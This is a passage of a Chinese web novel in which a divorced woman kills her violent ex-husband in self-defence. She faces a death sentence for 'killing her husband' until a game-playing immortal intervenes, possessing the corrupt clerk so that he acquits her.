当拿到6两银子时,李娘子激动得浑身颤抖,——这是她能拿到的工钱? 毕竟一开始和离时,她对自身前途只觉得茫然,但随即却在一个月后,获得了素日她想都不敢想的收入。 往日李四带回来的那点钱,她都要仔细算计,但即便是一文钱掰成两文花,用于生活中却怎么也觉得不够用。 清点好工钱后,李娘子先是去了豆腐窗口,一口气购买了五块鲜豆腐,豆腐干也买了两斤,随即转而去集市采买鸡蛋,猪肉。 等这些都买完后,李娘子本想回家,结果眼神却黏在一匹浅蓝色布料上挪不开。 似乎注意到李娘子的眼神,那售卖布料的小商贩忙笑着喊道:“娘子可有中意的布料?我这布料用料扎实,都是本地老师傅染的色,保管均匀耐看。” 边说,边展开那卷李娘子先前看过的浅蓝色布料。 李娘子稍稍一扫,——这摊主并未说谎,这料子染色均匀,摸起来手感也很不错,看上去是提花棉布,若按照以往市价来算的话,一匹布大约卖价为250文左右。 商贩还在热心介绍。 “您看看这料子上的提花,多细致,这可都是老师傅的手艺。 我这人实在,从不夸口,若您要的话,这匹布料330文卖给您,也算是交个好,毕竟今年旱灾,棉花收成不好,布料价格自然上涨了。” 商贩这话说得不假,李娘子琢磨片刻,实在耐不住心中欢喜,最终讨价还价一番后,以310文拿下这匹布料。 李娘子想得好,这匹布料够做两身衣服,她打算给自己和刘寡妇各做一身。 这些日子在外面见人时,李娘子甚至找不到一件相对得体的衣服,好在是刘寡妇热心相助,借给了她一身,这才让她能够顺利去推广新品。 成色好的衣服在这个时候可是珍贵的财产,刘寡妇不仅收留她和孩子,还能借给她衣物穿,李娘子心中感动,自然想报答对方恩情。 除却这匹浅蓝色布料外,李娘子还买了半匹褐色布料,半匹水绿色布料,打算回家给孩子们各自做一身衣服。 毕竟从小到大,孩子们便没穿过一次新衣服,浑身的补丁看着就让她心酸。 以前是家里困难,抽不出钱给孩子做衣服,现在她赚了钱,自然要将孩子打扮得漂漂亮亮,也算是弥补过往的遗憾。 李娘子带着东西,直往家走,等到走到刘寡妇家门口时,却遇到了一意外之人。 正是李四。 此刻的李四不复以往精干利索模样,反而是多了几分狼狈,他身上穿着的衣物看上去不知道有几天没洗了,惹得李娘子眉头忍不住蹙起。 以前怎么没发现,这人怎地这般邋遢。 眼底划过嫌弃,李娘子绕过他打算走,却被对方一把扯住袖口。 第57章 杀夫 李四在这刘寡妇门前蹲守了许久,脑海里想着自己一会应当说的话。 本以为李娘子只是一时冲动选择了和离,但看到对方离开他后,不仅没举步维艰,反而日子过得越发有滋有味后,李四心里不平衡了。 ——他这段时间出门辛苦工作,回到家甚至吃不上一口现成的饭菜,忍着怒火凑合着煮了几次地瓜,又勉强炖了些菜,但无论怎么做,均不是李娘子做出来的那个味道。 原先他记得,李娘子就算是吃最为便宜的地瓜,也能做出不少新花样,反正比他做出来的吃食好得多。 这段时间,吃得李四脸露菜色,不仅是他,就连自家儿子也日日是一副快要哭出来的模样。 “哭哭哭,就知道哭,你娘在别人家吃香喝辣,早就不要你了!” 气急的李四忍不住伸手扒拉浑身脏兮兮,眼角带着泪的儿子,结果没想到小儿子嘴角一瘪,哭得更惨了。 “是你赶走了娘,才不是娘不要我了!哇哇哇——” 李四被这哭声嚎得心烦,脑内却不由自主想到前几日做活时,工友们有意无意的打探。 “李四,那李娘子可是你家娘子?” 李四正在搬运货物,听到李娘子名字时先是一愣,随即脸色变得不太好看。 不过他也能理解,毕竟李娘子是附近唯一一个和离的女人,附近村人闲来无事,最喜欢的便是搬弄是非,说张家长,李家短。 若是平时,李四也是喜好听八卦的人,但无奈这次被八卦的人不是别人,正是他自己。 这会顿觉面上挂不住,浑身气压低了不少。 “算了,不提她罢。” 工友显然情商不够,略带羡慕地拍了拍他后背。 “你小子好运道啊,听说你家娘子入职了那豆腐厂的什么兜售员,这些日子可是赚了不少铜板呢!” 听到这话,李四顿时浑身僵硬,忍不住继续追问。 “赚钱?那是赚了多少?还有那兜售员是甚么工作?” 工友见他真不知情,心底涌出一丝同情。 ——本以为李四和李娘子不过是玩闹着和离,现在看来李娘子事业这般成功,却不曾告诉李四,可见李娘子是来真的。 “就是推销卖豆腐的工作呗!听说一天得赚三百文呢!比咱们老爷们都赚得多,哎,真是人比人气死人,我都想着要不要去那豆腐厂干这兜售员。” 三百文? 日薪三百文? 就凭她?! 李四被这消息震撼在原地,这会心思乱成了一团麻。 怪不得不见她服软,合着人家离开他后日子越过越好,自然不愿回来了! 李四不知道自己后续的工作是怎么做完的,等到他下工往家里走时,脑内却不断地闪过工友那羡慕的话。 ——那可是三百文啊! 李四忍不住心脏砰砰直跳,三百文,再加上他的一百五十文,往后他家日子不知道得有多好! 这会被儿子哭喊声哭得心烦,他忍不住给了小儿子一巴掌,瞪大眼睛怒吼:“别哭了!我去找你娘去!” 小儿子捂着脸,略带怯懦地看了他一眼,身子瑟缩地往后缩了缩。 不知为何,回忆起白天工友们若有若无的打探眼神,李四心中莫名来了危机感。 不行,他得赶紧去找李娘子认错,省得外面那些人惦记上李娘子! 若是原先,一个和离的女人,还带着个小娘子,定是没人过问的组合,但现在情况变了,架不住人能赚钱啊! 李四危机感顿起,心想无论如何,先示个好,将人先劝回来,往后再说其他问题。 这念头一起,他立即起身,蹲守在刘寡妇门前。 硬生生等了有半个时辰,这才看到一熟悉妇人抱着东西慢慢走来。 李四眯着眼睛去看,等到看清楚来人后,忍不住心思微动。 ——是他的错觉?总感觉李娘子似乎要比原先看上去貌美了几分? 皮肤好像红润了些,身子骨看着也长肉了,比原先那副枯草般的身材看上去好了不少。 再仔细看去,她手中拎着的是满满当当的鸡蛋和肉,后背似乎还背着几匹布料。 李四琢磨着工友的话果然不假,看来李娘子确实赚了不少钱,毕竟那布料价格可是不便宜。 眼看李娘子要拐进门内,他连忙跳出去,一把扯住对方衣袖。 “娘子,我错了,家里不能没有你啊,满儿最近想你想得直哭,我哄也哄不好” 李四边说,边用余光去打量李娘子表情,一开始李娘子面上甚至隐隐有嫌弃之色,但在他提及到儿子时,李娘子神色终于松动了几分。 眼看有戏,李四赶忙加大诉苦力度。 “娘子,你走后家里没个知冷暖的。 经过这么一遭,我算是彻底明白了你原先受的苦,遭的罪。 你放心,从今往后,我以后定不会像原先一样不顾及你和孩子,定先以咱家为重,你看如何?” 李娘子微微愣神。 若是早在和离前李四能这般想,她定会感动异常,一门心思地想将那个家维持下去。 但现在,和离后,她有了自己的事业,她能够不靠任何人,让自己和孩子过得更好。 李娘子不得不承认自己沉迷于事业中,并不想重新回归原先那个只以家中琐事为重的妇人身份中去。 且更让她心惊的是,刚才李四诉苦时,她内心竟毫无波澜,但提及到儿子,李娘子还是觉得内心疼得和针扎一样。 但她知道,李四提及儿子,就是为了让自个儿心里难受,若是她心疼了,服软了,跟着李四回了家,等待她的又该是什么样的噩梦! 到时候李四说不定会将她辛苦赚来的钱全都抢走,现在嘴上说的是只在乎小家,但真等那时候,李娘子可不认为他能扛得住自己亲爹亲娘上门诉苦,等到最后,她辛苦赚来的钱定是保不住的。 现在和离了,她面临的压力不过是养活自己和孩子,但等复合后,她定会被在孝道上被公婆压得死死的。 回想起原先吃不饱,穿不暖,还要伺候公婆的日子,李娘子忍不住打了个寒颤,这会忙冷了脸,冷冰冰地拒绝了对方。 “李四,你我之间绝无可能再复合,以后你不要来了,省得我看见你心烦。还有满儿”李娘子眼神快速划过一抹伤痛,但并未停顿,反而假装不在乎,继续道,“满儿是你李家男丁,往后和我并无关系,以后你们父子二人的事,别再来烦我。” 李娘子冷着心,将狠话放出去,随后用力将袖口从李四手中扯出来,倒是那李四看上去失魂落魄的,似乎不曾理解李娘子说的话。 等她快步往刘寡妇家中走时,李四整个人状若癫狂,随即朝她扑过来,高高扬起的手直奔李娘子面颊。 李娘子大骇,来不及躲开,脸上挨了一巴掌,这一巴掌没完,李四反手揪住她的头发,恶狠狠地用另一只手死命揍她。 “臭娘们,给脸不要脸,老子让你得意!赶紧跟我复合,完事了把钱都交给我管,咱们李家可没有女人管钱的说法!” 李娘子心底涌起恐慌,挣扎着想往前跑,却被对方扯住头发不能动弹。 不知道挨了多少打,李娘子感觉自己已是,出的气比进的气多时,身旁却响起熟悉的声音。 “爹!你不要打娘了!” 李娘子睁开眼睛去看,就看到燕姐儿哭着朝自己奔来,李四不管不顾地一把推开她,因下手太重,李娘子只看到燕姐儿直挺挺地倒在地上,半天不再动弹。 “燕姐儿?” 李娘子内心涌出无尽的恐惧,随即不知道哪来的力气,一把推开李四,随即直奔过去,李四反应过来后,气得面目狰狞,下手更狠,在他凑过来时,李娘子眼疾手快,拔下头上的木簪,对准他的手就是用力一刺。 “哎呦——” 李四疼得立即松了手,李娘子这般行为倒是激怒了他,只见李四从怀里拿出一把短刀,直奔李娘子而来。 李娘子没想到这李四竟然这般疯狂,这会没敢停顿,先直奔女儿身旁,随即便要背着女儿往刘寡妇家中逃。 但动作太慢,没等她来得及跑过去,便被身后李四捉住,那李四红着眼睛,拿起刀便要往她身上砍。 李娘子惊惧之下,抽出散落在一旁的一匹布作为抵挡。 这一刀没能砍伤她,但下一次可就不一定了。 李娘子脑内一片空白,在李四冲自己再度砍下一刀时,她拿起一旁散落的石块,对准他的脑袋就是恶狠狠地一敲。 生怕这一击没效果,李娘子拿着石头的手没停歇,一下,一下,又一下,直到那李四伏在地上,没了动静。 李娘子快步爬过去,搂住燕姐儿,试了试她鼻尖还有呼吸,这会眼泪再也忍不住,落了下来。 而片刻后,等到她反应过来,察觉到自己到底做了什么后,李娘子浑身血液逆流,原先空白的大脑逐渐被恐慌充满。 ——她,杀人了? 还未等李娘子反应过来,附近的邻里便一股脑涌了出来。 ——这些人原先就看到了李四所作所为,但因李四行事癫狂,不敢劝阻,只能眼睁睁看着这桩祸事发生。 有人忙去查看李四是否还活着,等到一伸手,那李四鼻尖再无气息,这人忍不住往后倒退一步。 身旁立即有人出声讨伐李娘子。 “李娘子,你这可是犯了杀夫罪!” 在本朝律法中,妻杀夫属“恶逆”,刑法极其严重。 不论妻子是因何原因,故意,或失手杀掉丈夫,一般来说,均会被处以死刑。 哪怕丈夫长久家暴,妻子意外反抗杀死丈夫,这也算杀夫。 第58章 作证 李娘子脑内一片空白,搂着燕姐儿的手忍不住紧了几分。 这会她思绪混乱,无数想法充斥在脑内,但却不知该如何说起,但理智告诉她,她必须说,不然便是落了下乘。 “我并非故意,你们也应当看到了,李四拿着刀先要杀我,我惊恐之下,却失手杀了他” 周围人摇着头,继续出声讨伐, “这李四可是你丈夫,他打你,你忍忍便是,何必动手,引得现在这结果?” 李娘子想辩解,但很快她便发现,无论她如何辩解,周围人均能从她的解释中获得另外的见解。 除却看热闹的人外,李四的父母,兄弟均已来到。 这会一看到李娘子,李母气得便要伸手去打。 边伸手边哭嚎。 “我的儿啊,便是被这恶妇给打杀了!我要杀了你这恶妇,给我儿报仇!” 高高扬起的手未曾落下,就被刘寡妇拦住。 话说刘寡妇刚推车回来,心里正盘算着今晚又能吃李娘子做的美食时,却见自家附近似乎围了不少人。 她右眼皮忍不住狂跳,等到分开人群,看到便是李娘子失魂落魄地瘫倒在地,怀里搂着燕姐儿,一旁扬手的人不是李四老娘还是谁! 刘寡妇心口怒极,拦住这人,破口大骂,但等到她听清楚李四被李娘子失手杀死后,这会整个人都懵了。 回头去看李娘子,对方惨白着脸,求她照看几分燕姐儿,而那李四父母兄弟,则是声张要绑了李娘子,拿她去问官。 本村里正也来了,了解情况后无奈,只能同意李四父母兄弟报官。 刘寡妇想拦,却拦不住,只能眼睁睁的看着李娘子被带走送官。 周围人看着这一幕,感慨了几句便要四处散开,倒是刘寡妇则是听到了几个妇人的叹息。 “李娘子也是倒霉,既已和离,李四上门纠缠,还要打杀她,她还手却失手杀了李四,惹得这番祸事,真是运气不好。” 听到这话,刘寡妇浑身僵硬,随即有了想法。 ——她得去找人,去找人救李娘子,不然按照杀夫罪来判的话,李娘子必死无疑! 刘寡妇连烤红薯的箱子都来不及推回家,喊了声家里孩子,让他们扶着燕姐儿回屋,再将箱子推回去,她自己则是直奔斗坡村,去求见那豆腐厂的孙管事。 虽说已是下班时间,但孙宁元依旧在厂子清点库存,盘算着原先售给赵金构的那份产品到底能带来多少利润。 正拿着纸笔清点计算时,却见窗口的张娘子带着一陌生娘子急匆匆走来。 孙宁元放下纸笔,开口询问何事,等听完刘寡妇说的话后,她蹙眉问:“刘娘子,李娘子目前已被押送入官府?是风仙县内的府衙?” 刘娘子焦急点头,“应该已经在路上了。” 孙宁元应声,随即喊人去通知里正。 既然李娘子归属于豆腐厂名下员工,那么她便有义务去救助李娘子。 更别提在听清楚此事原委后,孙宁元觉得李娘子虽说失手杀人,但也算正当反击,不应当以杀夫罪论。 里正那边则是很快便带了几个人过来了。 人来后,孙宁元却发现,张氏不知为何,也来了。 时间紧急,几人并未多寒暄,而是坐上厂子前不久刚买的马车,直奔那风仙县而去。 路上时,刘寡妇被要求再次将事情原委一一说清楚,等到听闻这其中内容后,张氏素日温和的面庞也流露出几分恼意。 马车速度快,在那城门附近,他们的马车恰好将对方的驴车拦截住。 李里正掀开门帘后,就看到斗坡村的张里正正看着他。 两人下车说话,那李四老娘探出身子,大喊大叫。 “里正,咱们得早点去报官啊,一会可别让他们把人带走了,到时候我儿子岂不是冤死了!这恶妇心肠歹毒,又犯了杀夫罪,我必让她还我儿一命!” 驴车内的李娘子惨白着脸,一路上,她婆婆多次动手,她没办法还击,只能咬牙忍住。 此刻颤抖着嘴唇还未曾说话,就听驴车外,一女子冷声道:“什么杀夫罪,据我所知,这李娘子早已和李四和离,哪来的杀夫一说? 且当时可有不少人都看到了,那李四拿着凶器,暴起杀人在先。 李娘子不过一介弱女,如不反抗,岂不要被活活杀死?” 这话看着是在反驳李母,实则也是在质问李家村的里正。 李母气得要骂人,被里正拦住。 李家村里正脸色不太好,本身管辖区域内出了命案就让他头痛不已,本想着先将这李娘子带去上报,结果却先被人拦了下来。 此刻又被质问得心虚,只能打官腔。 “这,孙管事,虽说你说的有道理,但按照律法,我作为本村里正,只能先将人带到官府,听从官府判决才是啊。” 张里正一看这老东西心意已决,用眼神示意孙宁元这事恐不能善了。 刘寡妇心里着急,但也不敢坏了别人的事,只能无奈看着押送李娘子的驴车入了城。 等驴车前脚刚走,他们的马车紧随其后。 风仙县因那酸辣粉之事,城门一直严加看管,这会看到一前一后有车过来,守城的官兵拦下车,问他们何事。 等知晓李家村竟是发生命案后,官兵互相对视一眼,便放他们入城,至于孙宁元则是声称她为被告的辩护,要求一并入城。 这要求很合理,官兵没拦路,将两辆车放了进来。 入城时,张氏为了不引起慌乱,自然是待在车内,等那官兵查看车内时,张氏也低垂着头,不让对方瞧出什么端倪。 车子往前继续走,倒是孙宁元看着城墙上早就风干变形的一串人头叹息道:“没想到这人头还在此处。” 张氏抬头去看,发觉那串人头竟是连位置都不曾变过。 当下感慨,“怕是仙师威名震撼,官兵不敢动手吧。” 几人原先还飘摇的心,这会仿佛吃了一颗定心丸。 ——仙师会和她们同在。 风仙县城门负责人:不是,那玩意根本拿不下好不好! 期间王县令曾下令他将城门收拾妥当,以免引起民众恐慌。 虽说这活计实在不是什么好活计,但是钱难赚屎难吃,和县令老爷讨价还价属实是不想活了。 但诡异的是,无论谁去,只要想触碰到那串人头,定会从梯子上摔下。 这摔下去的人就看运气了,有的人啥事没有,有的人就能摔得胳膊断了腿断了。 总之,啥方法都试了,但最后令人绝望的是,这串人头好像黏在城墙上了,无论用何方法,怎样都拿不下来。 久而久之,也便没人敢再去管它。 话说这李娘子失手杀夫一事按道理是应该由王县令亲自审问,判刑,但王县令最近因那斗坡村邪魔发愁,并无心思前去掌管这官司,于是便派下属前去断案。 这下属自是他的心腹,就着这事,倒也多嘴问了几句王县令对此案的判案喜好。 王县令看着他,冷哼道:“恶妇而已,无关失手与否,直接处死便是。” 下属忙应是离去。 等到李家村里正押送着李娘子进入县衙,孙宁元和张里正二人也大步迈进县衙内。 县衙内端坐着的判官并非王县令,而是名不见经传的一小吏。 等李四父母兄弟七嘴八舌地说完李娘子杀夫后,这小吏一敲惊堂木,对着跪倒在地的李娘子开口质问。 “你便是李四的妻子,李氏?” 李娘子此刻相较于先前早已清醒,忙颤抖道:“大人,民妇原先是,但现在的话,早已和李四和离,且这事并非李家人说的那般,而是这李四在和离后想求我复合,被我拒绝后,便要拿刀杀了我,我当时怕极了,这才失手杀了他,还请大人明察。” 这话说完,李娘子将头抵在地上,身子抖动如同风中落叶。 倒是这小吏冷哼一声,“可有和离书?” 李娘子愣在原地。 ——她提出和离时间太短,那和离书还未曾下来! “民妇是上个月提出和离,已让本村里正和父老作为见证,和离书的流程应当还在继续走” “那便是没有和离书了。” 小吏拿出一本册子,用毛笔在上面勾勾画画,看着这小吏的动作,不知为何,李娘子从心底涌出一股恐慌。 她还未曾开口,就听这小吏一拍惊堂木,判定已下。 “李四之妻李氏,因与夫交恶,不慎误杀其夫,现按律应处以极刑,行刑日定为明日,你们可有意见?” 李娘子浑身发软,李四父母兄弟露出笑容,跪着喊着没有。 而此时,孙宁元却走出来,半跪着身子,抬头目视前方,朗声道:“大人,此事不可草率判定!民妇有话要讲!” 小吏本以为这案件很快便会处置完毕,但没想到,中途倒是杀出来程咬金要替这李娘子说话,这会不由黑了脸。 但又不能不让她说,毕竟因杀夫案太少,这宗案子一经爆出,再加上最近风仙县对民众严加看管,不让出城门的缘故,现在围观此案件的闲杂人等实在是太多! 小吏忍着心底的不爽,只能让孙宁元开口。 孙宁元正视前方,不卑不亢开口。 “大人,若按照本朝律法,丈夫意图杀害妻子,妻子在反抗时误杀不应当判处死刑,而要按情况量刑才是。 再者,李娘子和李四的和离已有证人,那便应当按照和离来看,此时,李四前去谋害李娘子,应当以故意杀人罪定性,而在他杀人过程中,李娘子慌乱之下,不慎反杀李四,这属于合理反击,本朝律法也有提及这种情况,最多为轻罚,而非判处死刑。” 第59章 异变 孙宁元说出的话条理清晰,不少围观民众也纷纷点头。 “这妇人说的有道理啊,分明是那李四想杀人在先,就算和离书还未下来,那也应该视为和离才对,既已和离,李娘子自卫不慎失手杀人也完全能理解。” “这案件其实按哪边判都没问题,毕竟自古以来,只有说和离书下来后才算和离成功。” “这般不公平。既提出和离,也有见证人,自是因为日子过不下去了才会做出此选择,为何和离书不到手便不能算作和离?” 围观人群也有读了几年书的妇人,这会听着李娘子的判决忍不住心神一动,随后再一多想,便是不由自主开始后怕。 ——这般世道,对待女子竟是如此不公平,和离本就对女子更为苛刻,而在和离期间发生的恶性事件,官府竟然带头偏向那男子! 所谓唇亡齿寒,便是如此道理。 读书较多的几位妇人此刻死死地盯着前方跪着的李娘子,各个面色难看。 倒是没上过学的妇人丝毫没能察觉这判决中所蕴含的恶意,反而兴致勃勃地仰着脖子去看热闹。 小吏被孙宁元此番话说得气结,这会冷笑道:“所谓国有国法,国法规定便是和离书未曾收到,两人便还算作夫妻,你个人多说无益,本官作为大炎朝官员,自然只能按照国法办事。” 边说,这小吏边伸出手,捋了捋胡须。 他继续道:“若按本官之意,应当维持原判才是。” 孙宁元面色也微冷,缓缓开口:“大人所言差矣,既按照国法办事,在二人为夫妻的情形下,若丈夫欲杀妻,反而被妻子反杀,此情况只应当判处轻刑才是。” 她原先上学时,便喜多看书,当时的话,女子并不能看时政等方面的书籍,但架不住她偷偷看,在这些书籍中,她倒是学到了不少知识。 小吏的手微微一僵,随即用力一拍惊堂木,冷笑道:“那李四杀妻,你可有证据?” 孙宁元自是应是,朗声道:“当时看到的人甚多,大人只需派人下去询问便能查出一二,且李四杀妻所用的凶器也在那原地扔着,正是一把短刀。且那短刀是李四经常用过的刀具,众人皆有目睹,我想这点是做不了假的。” 李娘子眼含泪珠,用手背擦了擦眼泪,随即道:“大人,那短刀是李四在本村一铁匠家中买到的,那铁匠可作为人证。” 二人说的话实在是句句有理,堂下听众也各自嘀咕。 “既然是那李四欲先杀妻,按道理确实不应该判处李娘子死刑啊。” “也不能这样说,听说那李四可是个老实人,老实人为何会杀妻,依我看还是被逼的,都怪这李娘子无端提出和离,这才惹得那李四癫狂下死手。” “也是,和离的能有几个好的?” “男女各有过错,但李娘子罪不至死,依我看应当中等量刑才对。” 堂下这些人说话的声音并不小,孙宁元和李娘子听得一清二楚。 李娘子好几次哆嗦着嘴皮子想反驳那些攻击她和离的人,但均被孙宁元用眼神制止。 而那小吏则是头疼不已。 ——县太爷说了,要判处这李娘子死刑,他哪敢不听从? 这会正头疼之际,耳边有一小厮附耳低声道:“大人何必烦恼,这李娘子不过一介妇人,这会应当是怕死才会胡言乱语,既是如此,那大人不如将她关押至牢中,到时候领悟到咱们的手段,倒也不怕她不招。” ——好法子啊! 小吏双眼一亮。 先关押着,到时候牢房手段一用,铁打的人都叫他开口主动认罪! 等到那时候这妇人签字画押,就算是现在有理他也能判她个死刑! 思及此处,小吏立即一拍惊堂木,宣判道。 “此事仍有争议,先将这李氏关入大牢,随即本官会派人去那案发现场采集人证物证,等人证物证齐全,到时再开庭论事!” 孙宁元心里一紧。 这被关押进去,到时候说不定会屈打成招,恐怕到时候都不要这官兵下去找证据,李娘子不日便会奉上一份亲手书写的认罪书。 ——不是亲手写的也无妨,到时候人昏死过去,牢房狱卒按个手印也算。 不行,决不能让这些人将李娘子带下去! 但此刻,她只是一民妇,真正把握风仙县的人依旧是那王县令,仙师未曾布局在内,眼下这般,该如何是好? 张里正也是人精,听到这话,便知是这小吏想将此事落实,屈打成招。 但问题是,他有能力阻止这事么? 答案是不能。 一时间,二人均面色阴沉。 倒是姜定此刻电脑屏幕上出现了一则紧急提醒。 【触发隐藏事件选项,是否查看?】 这提示太过于明显,姜定想忽视都不行。 他倒是好奇,难不成先前选择学堂后,这么快就能触发隐藏事件了? 抱着这样的想法,姜定点开查看按钮,随即拧着眉,看着眼前弹跳出来的选项。 【你的工人李娘子被卷入一起案件中,在此案件中,已和离的李娘子在前夫纠缠后拒绝对方的复合请求,对方恼羞成怒持刀杀人,反被李娘子误杀,官府判定此案为李娘子全责,意欲判处李娘子死刑,你的选择是:】 【A.觉得官府判定合理,且各人自有各自命数,作为仙人,不该随意插手这等琐事。】 【B.觉得官府判定过重,最多轻罚李娘子足以。】 【C.觉得官府有失公正,此事李娘子为合理反击,无任何责任。】 第一次面对这么严肃的选项,姜定不由地收了几分乐子人的心态,反而摸着下巴,开始犹豫 从这描述的事实来看,这李四纯粹闲得没事干啊!至于这李娘子,倒是是轻罪,还是无罪呢? 姜定一时间有些犹豫,正不知该如何决策时,突然想起现实世界似乎也有一起类似的案件。 他记得,也是反击过当,当时那个案子判的是无罪。 想到这里,姜定心中逐渐明悟。 ——有了,原来是游戏开发者的灵感来自于现实啊! 一定是引用了现实中的例子,将这例子融化于游戏中,然后让玩家去选择。 盯着屏幕上的三个选项,姜定逐渐猜测到了游戏开发者更深层次的想法。 这开发者一定是一个经常观察身边事情的人,而这样的人,他设置选项,也一定会设置最尊重事实的选项为最优解。 所以,这选项应当选择C才对! 姜定深呼一口气,随后选择C选项。 很快,C选项散成阵阵金光消散,随后,相应的提示弹跳出来。 【你的威望提升了,你得到了辖区内女子的支持你所做的决定引导了新的律法出现】 提示消息一堆,姜定没再看提示消息,反而是点开雇佣界面,去寻找李娘子。 等到他找到李娘子时,就发现对方的忠诚度显示的竟然是【矢忠不二】。 姜定忍不住愣神,看来这隐藏事件倒是还让他收获到了一个绝对忠实的工人啊。 再仔细看看,对方的天赋属性竟然是亲和力。 【亲和力:和任何人沟通时不由自主便会让人如沐春风的能力。(或许之后会有别的用途?)】 被括号内的问号看得一脸无语,姜定索性不再关注此事,转而去看看仓库内库存如何。 而在那大堂之上,李娘子在听到判决后,整个人呆愣住了。 等到有两官兵捉住她的双手,要将她拖下去时,李娘子万念俱灰。 脑海里只有一个念头,那便是她或许要死了。 若是以前那种生活,死了便死了,也是一种解脱,但为何要是现在? 她好不容易勇敢一次,摆脱了李四,摆脱了原先那惨无天日的生活,好不容易新的生活有了起色,眼看幸福离自己这般近,但老天为何如此不公,让她遇到此事? 李娘子凭借着本能使劲蹬腿,不愿意被官兵带下去。 她脑内空白一片,但不知为何,她却无法控制地想到了斗坡村的那位仙人 好可惜,分明她就快成功了。 即将被拖下去时,李娘子脑海里只有这个想法。 孙宁元起身要去拉那官兵,却被另外官兵持刀阻拦。 “公堂之上,不得放肆!” 看着李娘子,孙宁元脑内也是一片混沌。 ——她似乎有些看不懂仙师的安排了 既仙师能推演出一切,想必这李娘子身上应当暗含别的深意才对,但眼下眼看这李娘子即将赴死,为何仙师却毫无反应?难道一开始,她对仙师的理解就出现了偏差? 若因为她理解有误而造成李娘子丧命,恐怕她余生都会寝食难安。 堂上因闹腾而一片混乱,而堂下那读了书的妇人则是各个脸色难看。 若这判决就是官府的答案,那么她们以后是否也会遭遇此等不公对待? 但说句难听的,她们就算意识到了,凭借现在,又能做些什么? 如今的世道,恐只能闭口不言,以求自身安稳 这几人齐齐地叹了口气,看向李娘子的眼神中忍不住露出哀痛。 而就在此时,一股清风吹拂,原本无风闷热的堂上瞬间清爽了几分。 那小吏舒服地直眯眼,倒是孙宁元敏锐地察觉到不对劲。 ——这熟悉的风,难道,是仙师? 这想法刚生出,那阵清风瞬间张狂起来,吹得在场所有人几乎睁不开眼睛。 堂上的文书被风吹得鼓动,那小吏连忙去压文书,却没能压住这文书,反而被那风吹得弹开。 第60章 非人 这小吏突见此变故,惊讶异常,连忙扑上去,想用手捂住那被风吹得飞起的书册。 其余人则是呆愣愣地看着这异象出现,各个不知该说些什么。 原先堂内的那股微风,此刻却逐渐暴起,随即那小吏还未曾开口,便被这狂风席卷着摔飞到空中。 众人瞪大眼睛,惊恐地看着眼前一幕,而在下一秒,孙宁元似乎注意到一股精纯的青色直灌那小吏脑内。 因这小吏被风吹起,而又跌落,周围人连忙围上去想将他扶起来。 “大人,您没事吧?” ——瞎了你的狗眼,本官这像是没事的样子?! 小吏此刻已被摔得七荤八素,正是恼怒不已时,本想睁眼就骂,结果下一秒却惊恐发现,自己的口唇不受自己控制,正吐出话语。 “无妨,不若先将此案件判定后再论其他。” 周围人一脸懵逼。 ——啥玩意?不是你刚才说的要先把李氏关押到牢房屈打成招的嘛!这会就又变了? 但是又不敢说,毕竟县太爷将判定官司的权利交付给了他,而他们作为最底层的存在,哪有辩驳对方的权利。 那李娘子也是惊住了,本以为自己要被打入牢房受苦,岂料事情又有了转机。 只有小吏心下惊惧万分。 怎么回事,这不是他说的话!有什么东西正在代替他说话! 脑海中刚涌出这想法,下一秒,他便感觉自己脑海内像是被什么尖锐的东西刺了数下,直刺得他头晕眼花,差点昏倒在地。 倒也奇怪,这种不适感消除后,他便发觉自己的身躯不受自己控制,端坐在堂上,翻看着原先的书册。 而后,小吏便眼睁睁地看着那诡异之物占据自己的身躯,代他颁布判决。 “按大炎朝律法,李氏和李四已在众人见证下和离,虽说和离书未拿到手,但根据记录,二人和离确实早已登记在册。 李四杀妻在先,李氏无奈反击,而后不慎误杀,是为保命而不得不做出的反击,虽不慎失手,但思及前因后果,是李四有错在先 据本官所判,此案件李娘子无罪释放,且李四家属应当赔偿李娘子精神损失费,就医费,误工费等共计4两白银。” 说完这话后,小吏拿出毛笔写写画画,随即拓上公章,此案便算作了结。 ——等一下,哪里的诡异,竟抢夺走自己身体,代替他判案? 小吏真身惊骇不已,再看看此案件的评判,这会想死的心都有了。 等到之后该如何向县太爷上报此事?话说,说不定他再也没了重回身体的机会 大感崩溃之余,小吏不由自主想到了先前的城墙人头事件,这会不由地打了个寒战 他就这么倒霉,成了新事件的第一个受害人? 不管小吏想法如何,李娘子先是一愣,随即喜极而泣。 刘寡妇冲了上来替她松开绳索,哭得稀里哗啦,倒是李娘子大劫余生后,只觉得整件事玄之又玄。 而孙宁元则是不由地陷入沉思 这小吏前后差距甚大,再加上她刚才感受到的那一抹熟悉的感觉,应当是仙师动用了神通。 只是不知为何仙师要选择如此温吞手段,而非在城墙上当时的雷霆手段? 而堂下单纯看热闹的人,倒是各个惊诧 这判定对于李娘子是否太偏颇?哪有杀人后还要受害者赔偿金钱的? 人群中有几人愤愤开口,替这李四打抱不平。 “世风日下啊,这案件凭什么判那李氏无罪,还能收获一笔赔偿?是否太不合理了些?” “就是就是,若这案件这般判处,之后若有有心人效仿此案该怎么办?到时候岂不是男子都要人人自危?” 说什么的都有,倒是那台上小吏面无表情地慢慢看向台下叫嚣得最为张扬的几人。 只一眼,这群人顿时浑身一个激灵。 分明只是最为普通的注视,他们不知为何,却感觉到一股极为恐惧的压迫感出现在心头,似乎下一秒他们便会被这目光拆解后生吞下去。 只要这样一想,几人瞬间便被冷汗濡湿后背,随即慌乱地低下头,不敢和对方对视。 而那小吏则是微微抬头,眼神和这几人错开,没什么感情的声音起伏荡漾在四周。 “此案评判标准是以动机来作为切入点,李四具有杀心,那便是他首错,且自行带有凶器,为第二错。 若之后还有类似案件,也当是先查动机,后看行为,若两者都有,那便按照今日之案判定。 至于担忧之后会不会有效仿作恶之人,无非感觉是对自己不利而已。 那本官问你,若按照原判,是否也要担忧之后会有人效仿杀妻?” ——那是自然,不过他们是男子,何苦操心女人才要操心的事! 但这话可没人敢说,只能唯唯诺诺,目光闪避。 而那些原先感觉未来无望的妇人,此刻看到判决,听到这番话语,顿觉心头感慨 这世道,竟还真有人会为她们女子生存环境考虑的人? 不过,她们倒是隐约能察觉到其中的不对劲。 原先那小吏可不是这般说法,一个人不可能前后差距如此大,除非这人已不再是他。 结合原先城墙外人头事件,这几人立即感悟到了些什么。 莫非是城内口口相传的妖物? 若真是那众人口中所说的妖物,但为何它却要做出这等判决? 这和众人口中的残暴形象不符。 几人脑内思绪极速流转,随即略有感悟。 ——眼见为实。 原先那些说妖物残暴的言论是因为连杀数人,但若仔细剖析,那妖物杀的人都是欺压百姓的恶棍,杀的都是众人恨不得亲手诛之但却不能诛杀的恶棍。 